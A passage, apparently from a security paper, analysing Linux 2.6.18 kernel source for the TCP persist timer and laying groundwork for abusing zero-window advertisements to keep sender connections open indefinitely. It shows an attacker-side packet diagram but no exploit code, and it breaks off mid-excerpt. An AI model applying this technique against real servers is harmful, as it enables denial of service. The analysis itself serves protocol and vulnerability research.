The following code inspection will mainly focus on the implementation of the TCP Persist Timer on Linux 2.6.18. Many of the TCP kernel functions will be regarded as black‑boxes, as their analysis is beyond the scope of this paper and would probably require a book by itself.

‑‑‑‑[ 3.1 ‑ TCP Timer Initialization

Let's see when and how the main TCP timers are initialized. During the socket creation process tcp_v4_init_sock() will call tcp_init_xmit_timers() which in turn calls inet_csk_init_xmit_timers().

net/ipv4/tcp_ipv4.c:

/‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

/* NOTE: A lot of things set to zero explicitly by call to

* sk_alloc() so need not be done here.

*/

static int tcp_v4_init_sock(struct sock *sk)

{

struct inet_connection_sock *icsk = inet_csk(sk); struct tcp_sock *tp = tcp_sk(sk);

skb_queue_head_init(&tp‑>out_of_order_queue); tcp_init_xmit_timers(sk);

/* ... */

}

\‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

net/ipv4/tcp_timer.c:

/‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

void tcp_init_xmit_timers(struct sock *sk)

{

inet_csk_init_xmit_timers(sk, &tcp_write_timer, &tcp_delack_timer, &tcp_keepalive_timer);

}

\‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

As we can see, inet_csk_init_xmit_timers() is the function which actually does the work of setting up the timers. Essentially what it does, is to assign a handler function to each of the three main timers, as instructed by its arguments. setup_timer() is a simple inline function defined at "include/linux/timer.h".

net/ipv4/inet_connection_sock.c:

/‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

/*

* Using different timers for retransmit, delayed acks and probes * We may wish use just one timer maintaining a list of expire jiffies * to optimize.

*/

void inet_csk_init_xmit_timers(struct sock *sk, void (*retransmit_handler)(unsigned long), void (*delack_handler)(unsigned long), void (*keepalive_handler)(unsigned long))

{

struct inet_connection_sock *icsk = inet_csk(sk);

setup_timer(&icsk‑>icsk_retransmit_timer, retransmit_handler, (unsigned long)sk);

setup_timer(&icsk‑>icsk_delack_timer, delack_handler, (unsigned long)sk);

setup_timer(&sk‑>sk_timer, keepalive_handler, (unsigned long)sk); icsk‑>icsk_pending = icsk‑>icsk_ack.pending = 0;

}

\‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

include/linux/timer.h:

/‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

static inline void setup_timer(struct timer_list * timer, void (*function)(unsigned long), unsigned long data)

{

timer‑>function = function;

timer‑>data = data;

init_timer(timer);

}

\‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

According to the above, the timers will be initialized with the following handlers:

retransmission timer ‑> tcp_write_timer()

delayed acknowledgments timer ‑> tcp_delack_timer()

keepalive timer ‑> tcp_keepalive_timer()

What interests us, is the tcp_write_timer(), since as we can see from the following code, *both* the retransmission timer *and* the persist timer are initially handled by the same function before triggering the more specific ones. And there is a reason that Linux ties the two timers.

net/ipv4/tcp_timer.c:

/‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

static void tcp_write_timer(unsigned long data)

{

struct sock *sk = (struct sock*)data;

struct inet_connection_sock *icsk = inet_csk(sk);

int event;

bh_lock_sock(sk);

if (sock_owned_by_user(sk)) {

/* Try again later */

sk_reset_timer(sk, &icsk‑>icsk_retransmit_timer, jiffies + (HZ / 20));

goto out_unlock;

}

if (sk‑>sk_state == TCP_CLOSE || !icsk‑>icsk_pending) goto out;

if (time_after(icsk‑>icsk_timeout, jiffies)) { sk_reset_timer(sk, &icsk‑>icsk_retransmit_timer, icsk‑>icsk_timeout);

goto out;

}

event = icsk‑>icsk_pending;

icsk‑>icsk_pending = 0;

switch (event) {

case ICSK_TIME_RETRANS:

tcp_retransmit_timer(sk);

break;

case ICSK_TIME_PROBE0:

tcp_probe_timer(sk);

break;

}

TCP_CHECK_TIMER(sk);

out:

sk_mem_reclaim(sk);

out_unlock:

bh_unlock_sock(sk);

sock_put(sk);

}

\‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Depending on the value of 'icsk‑>icsk_pending', then either the retransmission_timer real handler ‑tcp_retransmit_timer()‑ or the persist_timer real handler ‑tcp_probe_timer()‑ is called. ICSK_TIME_RETRANS and ICSK_TIME_PROBE0 are literals defined at "include/net/inet_connection_sock.h" and icsk_pending is an 8bit member of a type inet_sock struct which is defined in the same file.

include/net/inet_connection_sock.h:

/‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

/** inet_connection_sock ‑ INET connection oriented sock

*

* @icsk_pending: Scheduled timer event

* ...

*

*/

struct inet_connection_sock {

/* inet_sock has to be the first member! */

struct inet_sock icsk_inet;

/* ... */

__u8 icsk_pending;

/* ...*/

}

/* ... */

#define ICSK_TIME_RETRANS 1 /* Retransmit timer */

#define ICSK_TIME_DACK 2 /* Delayed ack timer */

#define ICSK_TIME_PROBE0 3 /* Zero window probe timer */

#define ICSK_TIME_KEEPOPEN 4 /* Keepalive timer */

\‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Leaving the initialization process behind, we need to see how we can trigger the TCP persist timer.

‑‑‑‑[ 3.2 ‑ Persist Timer Triggering

Looking through the kernel code for functions that trigger/reset the timers, we fall upon inet_csk_reset_xmit_timer() which is defined at "include/net/inet_connection_sock.h"

include/net/inet_connection_sock.h:

/‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

/*

* Reset the retransmission timer

*/

static inline void inet_csk_reset_xmit_timer(struct sock *sk, const int what, unsigned long when, const unsigned long max_when)

{

struct inet_connection_sock *icsk = inet_csk(sk);

if (when > max_when) {

#ifdef INET_CSK_DEBUG

pr_debug("reset_xmit_timer: sk=%p %d when=0x%lx, caller=%p\n", sk, what, when, current_text_addr());

#endif

when = max_when;

}

if (what == ICSK_TIME_RETRANS || what == ICSK_TIME_PROBE0) { icsk‑>icsk_pending = what;

icsk‑>icsk_timeout = jiffies + when; sk_reset_timer(sk, &icsk‑>icsk_retransmit_timer, icsk‑>icsk_timeout);

} else if (what == ICSK_TIME_DACK) { icsk‑>icsk_ack.pending |= ICSK_ACK_TIMER; icsk‑>icsk_ack.timeout = jiffies + when; sk_reset_timer(sk, &icsk‑>icsk_delack_timer, icsk‑>icsk_ack.timeout);

}

#ifdef INET_CSK_DEBUG

else {

pr_debug("%s", inet_csk_timer_bug_msg);

}

#endif

}

\‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

An assignment to 'icsk‑>icsk_pending' is made according to the argument 'what'. Note the ambiguity of the comment mentioning that the retransmission timer is reset. Essentially, however, either the persist timer or the retransmission can be reset through this function. In addition, the delayed acknowledgement timer, which won't interest us, can be reset through the ICSK_TIME_DACK value. So, whenever inet_csk_reset_xmit_timer() is called, it sets the corresponding timer, as instructed by argument 'what', to fire up after time 'when' (which must be less or equal than 'max_when') has passed. jiffies is a global variable which shows the current system uptime in terms of clock ticks A good reference, on how timers in general are managed, is [4]. A caller function which sets the argument 'what' as ICSK_TIME_PROBE0 is tcp_check_probe_timer().

include/net/tcp.h:

/‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

static inline void tcp_check_probe_timer(struct sock *sk, struct tcp_sock *tp)

{

const struct inet_connection_sock *icsk = inet_csk(sk); if (!tp‑>packets_out && !icsk‑>icsk_pending) inet_csk_reset_xmit_timer(sk, ICSK_TIME_PROBE0, icsk‑>icsk_rto, TCP_RTO_MAX);

}

\‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

We face two problems before the persist timer can be triggered. First we need to pass the check of the if condition in tcp_check_probe_timer():

if (!tp‑>packets_out && !icsk‑>icsk_pending)

tp‑>packets_out denotes if any packets are in flight and have not yet been acknowledged. This means that the advertisement of a 0 window must happen after any data we have received has been acknowledged by us (as the receiver) and before the sender starts transmitting any new data. The fact that icsk‑>icsk_pending should be, 0 denotes that any other timer has to already have been cleared. This can happen through the function inet_csk_clear_xmit_timer() which in our case can be called by tcp_ack_packets_out() which is called by tcp_clean_rtx_queue() which is called by tcp_ack() which is the main function that deals with incoming acks. tcp_ack() is called by tcp_rcv_established(), in turn called by tcp_v4_do_rcv(). The only limitation again for tcp_ack_packets_out() to call the timer clearing function, is that 'tp‑>packets_out' should be 0.

net/include/inet_connection_sock.h

/‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

static inline void inet_csk_clear_xmit_timer(struct sock *sk, const int what)

{

struct inet_connection_sock *icsk = inet_csk(sk);

if (what == ICSK_TIME_RETRANS || what == ICSK_TIME_PROBE0) { icsk‑>icsk_pending = 0;

#ifdef INET_CSK_CLEAR_TIMERS

sk_stop_timer(sk, &icsk‑>icsk_retransmit_timer); #endif

/* ... */

}

\‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

net/ipv4/tcp_input.c

/‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

static void tcp_ack_packets_out(struct sock *sk, struct tcp_sock *tp) {

if (!tp‑>packets_out) { inet_csk_clear_xmit_timer(sk, ICSK_TIME_RETRANS); } else {

inet_csk_reset_xmit_timer(sk, ICSK_TIME_RETRANS, inet_csk(sk)‑>icsk_rto, TCP_RTO_MAX);

}

}

/* ... */

/* Remove acknowledged frames from the retransmission queue. */

static int tcp_clean_rtx_queue(struct sock *sk, __s32 *seq_rtt_p) {

/* ... */

if (acked&FLAG_ACKED) {

tcp_ack_update_rtt(sk, acked, seq_rtt); tcp_ack_packets_out(sk, tp);

/* ... */

}

/* ... */

}

/* ... */

/* This routine deals with incoming acks, but not outgoing ones. */

static int tcp_ack(struct sock *sk, struct sk_buff *skb, int flag) {

/* ... */

/* See if we can take anything off of the retransmit queue. */

flag |= tcp_clean_rtx_queue(sk, &seq_rtt);

/* ... */

}

\‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The only caller for tcp_check_probe_timer() is __tcp_push_pending_frames() which has tcp_push_pending_frames as its wrapper function. tcp_push_sending_frames() is called by tcp_data_snd_check() which is called by tcp_rcv_established() which as we saw above calls tcp_ack() as well.

include/net/tcp.h:

/‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

void __tcp_push_pending_frames(struct sock *sk, struct tcp_sock *tp, unsigned int cur_mss, int nonagle)

{

struct sk_buff *skb = sk‑>sk_send_head;

if (skb) {

if (tcp_write_xmit(sk, cur_mss, nonagle)) tcp_check_probe_timer(sk, tp);

}

}

/* ... */

static inline void tcp_push_pending_frames(struct sock *sk, struct tcp_sock *tp)

{

__tcp_push_pending_frames(sk, tp, tcp_current_mss(sk, 1), tp‑>nonagle);

}

\‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Another problem here is that we have to make tcp_write_xmit() return a value different than 0. According to the comments and the last line of the function, the only way to return 1 is by having no packets unacknowledged (which are in flight) and additionally by having more packets that need to be sent on queue. This means that the data we requested needs to be larger than the initial mss, so that at least 2 packets are needed to be sent. The first will be acknowledged by us advertising a zero window at the same time, and after that, there will still be at least 1 packet left in the sender queue. There is also the chance, that we advertise a zero window before the sender even starts sending any data, just after the connection establishment phase, but we will see later that this is not a really good practice.

net/ipv4/tcp_output.c:

/‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

/* This routine writes packets to the network. It advances the

* send_head. This happens as incoming acks open up the remote * window for us.

*

* Returns 1, if no segments are in flight and we have queued segments, * but cannot send anything now because of SWS or another problem. */

static int tcp_write_xmit(struct sock *sk, unsigned int mss_now, int nonagle)

{

struct tcp_sock *tp = tcp_sk(sk);

struct sk_buff *skb;

unsigned int tso_segs, sent_pkts;

int cwnd_quota;

int result;

/* If we are closed, the bytes will have to remain here.

* In time closedown will finish, we empty the write queue and * all will be happy.

*/

if (unlikely(sk‑>sk_state == TCP_CLOSE))

return 0;

sent_pkts = 0;

/* Do MTU probing. */

if ((result = tcp_mtu_probe(sk)) == 0) {

return 0;

} else if (result > 0) {

sent_pkts = 1;

}

while ((skb = sk‑>sk_send_head)) {

unsigned int limit;

tso_segs = tcp_init_tso_segs(sk, skb, mss_now); BUG_ON(!tso_segs);

cwnd_quota = tcp_cwnd_test(tp, skb);

if (!cwnd_quota)

break;

if (unlikely(!tcp_snd_wnd_test(tp, skb, mss_now))) break;

if (tso_segs == 1) {

if (unlikely(!tcp_nagle_test(tp, skb, mss_now, (tcp_skb_is_last(sk, skb) ? nonagle : TCP_NAGLE_PUSH)))) break;

} else {

if (tcp_tso_should_defer(sk, tp, skb)) break;

}

limit = mss_now;

if (tso_segs > 1) {

limit = tcp_window_allows(tp, skb, mss_now, cwnd_quota);

if (skb‑>len < limit) {

unsigned int trim = skb‑>len % mss_now;

if (trim)

limit = skb‑>len ‑ trim;

}

}

if (skb‑>len > limit && unlikely(tso_fragment(sk, skb, limit, mss_now))) break;

TCP_SKB_CB(skb)‑>when = tcp_time_stamp;

if (unlikely(tcp_transmit_skb(sk, skb, 1, GFP_ATOMIC))) break;

/* Advance the send_head. This one is sent out.

* This call will increment packets_out.

*/

update_send_head(sk, tp, skb);

tcp_minshall_update(tp, mss_now, skb); sent_pkts++;

}

if (likely(sent_pkts)) {

tcp_cwnd_validate(sk, tp);

return 0;

}

return !tp‑>packets_out && sk‑>sk_send_head;

}

\‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Looking through tcp_write_xmit(), we can deduce that the only way to make it return a value different than 0, is by reaching the last line and at the same meeting the above two requirements. Consequently, we need to break from the while loop before 'sent_pkts' is increased so that the if condition which calls tcp_cwnd_validate() and then causes the function to return 0, fails the check. The key is these two lines:

if (unlikely(!tcp_snd_wnd_test(tp, skb, mss_now))) break;

tcp_snd_wnd_test() is defined as follows:

net/ipv4/tcp_output.c

/‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

/* Does at least the first segment of SKB fit into the send window? */

static inline int tcp_snd_wnd_test(struct tcp_sock *tp, struct sk_buff *skb, unsigned int cur_mss)

{

u32 end_seq = TCP_SKB_CB(skb)‑>end_seq;

if (skb‑>len > cur_mss)

end_seq = TCP_SKB_CB(skb)‑>seq + cur_mss;

return !after(end_seq, tp‑>snd_una + tp‑>snd_wnd);

}

\‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

To clarify a few things, here is an excerpt from tcp.h which defines the macro 'after' and the members of struct tcp_skb_cb which are used inside tcp_snd_wnd_test().

include/net/tcp.h:

/‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

/*

* The next routines deal with comparing 32 bit unsigned ints * and worry about wraparound (automatic with unsigned arithmetic). */

static inline int before(__u32 seq1, __u32 seq2)

{

return (__s32)(seq1‑seq2) < 0;

}

#define after(seq2, seq1) before(seq1, seq2)

/* ... */

struct tcp_skb_cb {

union {

struct inet_skb_parm h4;

#if defined(CONFIG_IPV6) || defined (CONFIG_IPV6_MODULE) struct inet6_skb_parm h6;

#endif

} header; /* For incoming frames */

__u32 seq; /* Starting sequence number */

__u32 end_seq; /* SEQ + FIN + SYN + datalen */

/* ... */

__u32 ack_seq; /* Sequence number ACK'd */

};

#define TCP_SKB_CB(__skb) ((struct tcp_skb_cb *)&((__skb)‑>cb[0]))

\‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

So, in theory we need the sequence number which is derived from the sum of the current sequence number + the datalength, to be more than the sum of the number of unacknowledged data + the send window. A diagram from RFC 793 helps clear out some things:

1 2 3 4

‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑‑‑‑|‑‑‑‑

SND.UNA SND.NXT SND.UNA

SND.WND

1 ‑ old sequence numbers which have been acknowledged 2 ‑ sequence numbers of unacknowledged data

3 ‑ sequence numbers allowed for new data transmission 4 ‑ future sequence numbers which are not yet allowed

In practice, the fact the we, as receivers, just advertised a window of size 0, makes the snd_wnd 0, which in turn leads the above check in succeeding. Things just work by themselves here.

For completeness, we mention that the window is updated by calling the function tcp_ack_update_window() (caller is tcp_ack()) which in turns updates the tp‑>snd_wnd variable if the window update is a valid one, something which is checked by tcp_may_update_window().

net/ipv4/tcp_input.c

/‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

/* Check that window update is acceptable.

* The function assumes that snd_una<=ack<=snd_next.

*/

static inline int tcp_may_update_window(const struct tcp_sock *tp, const u32 ack, const u32 ack_seq, const u32 nwin)

{

return (after(ack, tp‑>snd_una) ||

after(ack_seq, tp‑>snd_wl1) ||

(ack_seq == tp‑>snd_wl1 && nwin > tp‑>snd_wnd));

}

/* ... */

/* Update our send window.

*

* Window update algorithm, described in RFC793/RFC1122 (used in * linux‑2.2 and in FreeBSD. NetBSD's one is even worse.) is wrong. */

static int tcp_ack_update_window(struct sock *sk, struct tcp_sock *tp, struct sk_buff *skb, u32 ack, u32 ack_seq)

{

int flag = 0;

u32 nwin = ntohs(skb‑>h.th‑>window);

if (likely(!skb‑>h.th‑>syn))

nwin <<= tp‑>rx_opt.snd_wscale;

if (tcp_may_update_window(tp, ack, ack_seq, nwin)) { flag |= FLAG_WIN_UPDATE;

tcp_update_wl(tp, ack, ack_seq);

if (tp‑>snd_wnd != nwin) {

tp‑>snd_wnd = nwin;

/* ... */

}

}

tp‑>snd_una = ack;

return flag;

}

\‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Let's now summarize the above with a graphical representation.

attacker <‑‑‑‑‑‑‑‑ data ‑‑‑‑‑‑‑‑‑ sender

attacker ‑‑‑‑ ACK(data), win0 ‑‑> sender

What happens on the sender side:

tcp_v4_do_rcv()

|

|‑‑> tcp_rcv_established()

|

|‑‑> tcp_ack()

| |

| |‑‑> tcp_ack_update_window()

| | |

| | |‑‑> tcp_may_update_window()

| |

| |‑‑> tcp_clean_rtx_queue()

| |

| |‑‑> tcp_ack_packets_out()

| |

| |‑‑> inet_csk_clear_xmit_timer()

|

|‑‑> tcp_data_snd_check()

|

|‑‑> tcp_push_sending_frames() |

|‑‑> __tcp_push_sending_frames()

|

|‑‑> tcp_write_xmit()

|

| tcp_snd_wnd_test()

|

|‑‑> tcp_check_probe_timer()

inet_csk_reset_xmit_timer()

Time to move on to the more specific internals of the TCP Persist Timer itself.

‑‑‑‑[ 3.3 ‑ Inner workings of Persist Timer

tcp_probe_timer() is the actual handler for the TCP persist timer so we are going to focus on this one for a while.

net/ipv4/tcp_timer.c

/‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

static void tcp_probe_timer(struct sock *sk)

{

struct inet_connection_sock *icsk = inet_csk(sk); struct tcp_sock *tp = tcp_sk(sk);

int max_probes;

if (tp‑>packets_out || !sk‑>sk_send_head) { icsk‑>icsk_probes_out = 0;

return;

}

/* *WARNING* RFC 1122 forbids this

*

* It doesn't AFAIK, because we kill the retransmit timer ‑AK *

* FIXME: We ought not to do it, Solaris 2.5 actually has fixing * this behaviour in Solaris down as a bug fix. [AC] *

* Let me to explain. icsk_probes_out is zeroed by incoming ACKs * even if they advertise zero window. Hence, connection is killed * only if we received no ACKs for normal connection timeout. It is * not killed only because window stays zero for some time, window * may be zero until armageddon and even later. We are in full * accordance with RFCs, only probe timer combines both * retransmission timeout and probe timeout in one bottle. ‑‑ANK */

max_probes = sysctl_tcp_retries2;

if (sock_flag(sk, SOCK_DEAD)) {

const int alive = ((icsk‑>icsk_rto << icsk‑>icsk_backoff) < TCP_RTO_MAX);

max_probes = tcp_orphan_retries(sk, alive);

if (tcp_out_of_resources(sk, alive || icsk‑>icsk_probes_out <= max_probes))

return;

}

if (icsk‑>icsk_probes_out > max_probes) { tcp_write_err(sk);

} else {

/* Only send another probe if we didn't close things up. */

tcp_send_probe0(sk);

}

}

\‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Commenting on the comments, we stand before a kernel developer disagreement on whether or not the implementation deviates from RFC 1122 (Requirements for Internet Hosts ‑ Communication Layers). The most outstanding point, however, is this remark:

"It is not killed only because window stays zero for some time, window may be zero until armageddon and even later."

Indeed, this is part of what we are going to exploit. We shall take advantage of a perfectly 'normal' TCP behaviour, for our own purpose. Let's see how this works: 'max_probes' is assigned the value of 'sysctl_tcp_retries2' which is actually a userspace‑controlled variable from /proc/sys/net/ipv4/tcp_retries2 and which usually defaults to 15.

There are two cases from now on.

First case: SOCK_DEAD ‑> The socket is "dead" or "orphan" which usually happens when the state of the connection is FIN_WAIT_1 or any other terminating state from the TCP state transition diagram (RFC 793). In this case, 'max_probes' gets the value from tcp_orphan_retries() which is defined as follows:

net/ipv4/tcp_timer.c:

/‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

/* Calculate maximal number or retries on an orphaned socket. */

static int tcp_orphan_retries(struct sock *sk, int alive)

{

int retries = sysctl_tcp_orphan_retries; /* May be zero. */

/* We know from an ICMP that something is wrong. */

if (sk‑>sk_err_soft && !alive)

retries = 0;

/* However, if socket sent something recently, select some safe

* number of retries. 8 corresponds to >100 seconds with minimal * RTO of 200msec. */

if (retries == 0 && alive)

retries = 8;

return retries;

\‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The 'alive' variable is calculated from this line:

const int alive = ((icsk‑>icsk_rto << icsk‑>icsk_backoff) < TCP_RTO_MAX);

TCP_RTO_MAX is the maximum value the retransmission timeout can get and is defined at:

include/net/tcp.h:

/‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

#define TCP_RTO_MAX ((unsigned)(120*HZ))

\‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

HZ is the tick rate frequency of the system, which means a period of 1/HZ seconds is assumed. Regardless of the value of HZ (which is varies from one architecture to another), anything that is multiplied by it, is transformed to a product of seconds [4]. For example, 120*HZ is translated to 120 seconds since we are going to have HZ timer interrupts per second.

Consequently, if the retransmission timeout is less than the maximum allowed value of 2 minutes, then 'alive' = 1 and tcp_orphan_retries will return 8, even if sysctl_tcp_orphan_retries is defined as 0 (which is usually the case as one can see from the proc virtual filesystem: /proc/sys/net/ipv4/tcp_orphan_retries). Keep in mind, however that the RTO (retransmission timeout) is a dynamically computed value, varying when, for example, traffic congestion occurs.

Practically, the case of a socket being dead is when the user application has been requested a small amount of data from the peer. It can then write the data all at once and issue a close(2) on the socket. This will result on a transition from TCP_ESTALISHED to TCP_FIN_WAIT_1. Normally and according to RFC 793, the state FIN_WAIT_1 automatically involves sending a FIN (doing an active close) to the peer. However Linux breaks the official TCP state machine, and will queue this small amount of data, sending the FIN only when all of it has been acknowledged.

net/ipv4/tcp.c:

/‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

void tcp_close(struct sock *sk, long timeout)

{

/* ... */

/* RED‑PEN. Formally speaking, we have broken TCP state

* machine. State transitions:

*

* TCP_ESTABLISHED ‑> TCP_FIN_WAIT1

* TCP_SYN_RECV ‑> TCP_FIN_WAIT1 (forget it, it's impossible) * TCP_CLOSE_WAIT ‑> TCP_LAST_ACK

*

* are legal only when FIN has been sent (i.e. in window), * rather than queued out of window. Purists blame. *

* F.e. "RFC state" is ESTABLISHED,

* if Linux state is FIN‑WAIT‑1, but FIN is still not sent.

* F.e. "RFC state" is ESTABLISHED,

* if Linux state is FIN‑WAIT‑1, but FIN is still not sent. * ...

*/

/* ... */

}

\‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Second Case: socket not dead ‑> in this case 'max_probes' keeps having the default value from 'tcp_retries2'.

'icsk‑>icsk_probes_out' stores the number of zero window probes so far. Its value is compared to 'max_probes' and if greater, tcp_write_err() is called, which will shutdown the corresponding socket (TCP_CLOSE state). If not, then a zero window probe is sent with tcp_send_probe0().

if (icsk‑>icsk_probes_out > max_probes) { tcp_write_err(sk);

} else {

/* Only send another probe if we didn't close things up. */

tcp_send_probe0(sk);

One important factor here is the 'icsk_probes_out' "regeneration" which takes place whenever we send an ACK, regardless of whether this ACK opens the window or keeps it zero. tcp_ack() from tcp_input.c has a line which assigns 0 to 'icsk_probes_out':

no_queue:

icsk‑>icsk_probes_out = 0;

We mentioned earlier that the TCP Retransmission Timer functionality is loosely tied to the Persist Timer. Indeed, the connecting "circle" between them is the 'tcp_retries2' variable. Also, remember the comment from above:

/* ...

* We are in full accordance with RFCs, only probe timer combines both * retransmission timeout and probe timeout in one bottle. ‑‑ANK */

tcp_retransmit_timer() calls tcp_write_timeout(), as part of it's checking procedures, which in turns follows a logic similar to the one we saw above in the Persist Timer paradigm. We can see that 'tcp_retries2' plays a major role here, too.

net/ipv4/tcp_timer.c:

/‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

/*

* The TCP retransmit timer.

*/

static void tcp_retransmit_timer(struct sock *sk)

{

/* ... */

`

if (tcp_write_timeout(sk))

goto out;

/* ... */

}

/* ... */

/* A write timeout has occurred. Process the after effects. */

static int tcp_write_timeout(struct sock *sk)

{

/* ... */

retry_until = sysctl_tcp_retries2;

if (sock_flag(sk, SOCK_DEAD)) {

const int alive = (icsk‑>icsk_rto < TCP_RTO_MAX);

retry_until = tcp_orphan_retries(sk, alive);

if (tcp_out_of_resources(sk, alive || icsk‑>icsk_retransmits < retry_until))

return 1;

}

}

if (icsk‑>icsk_retransmits >= retry_until) {

/* Has it gone just too far? */

tcp_write_err(sk);

return 1;

}

\‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The idea of combining the two timer algorithms is also mentioned in RFC 1122. Specifically, Section 4.2.2.17 ‑ Probing Zero Windows states:

"This procedure minimizes delay if the zero‑window condition is due to a lost ACK segment containing a window‑opening update. Exponential backoff is recommended, possibly with some maximum interval not specified here. This procedure is similar to that of the retransmission algorithm, and it may be possible to combine the two procedures in the implementation."

In addition, both OpenBSD and FreeBSD follow the notion of the timer timeout combination. We can see this from the code excerpt below (OpenBSD 4.4).

sys/netinet/tcp_timer.c:

/‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

void

tcp_timer_persist(void *arg)

{

struct tcpcb *tp = arg;

uint32_t rto;

int s;

s = splsoftnet();

if ((tp‑>t_flags & TF_DEAD) || TCP_TIMER_ISARMED(tp, TCPT_REXMT)) { splx(s);

return;

}

tcpstat.tcps_persisttimeo++;

/*

* Hack: if the peer is dead/unreachable, we do not

* time out if the window is closed. After a full

* backoff, drop the connection if the idle time

* (no responses to probes) reaches the maximum

* backoff that we would use if retransmitting.

*/

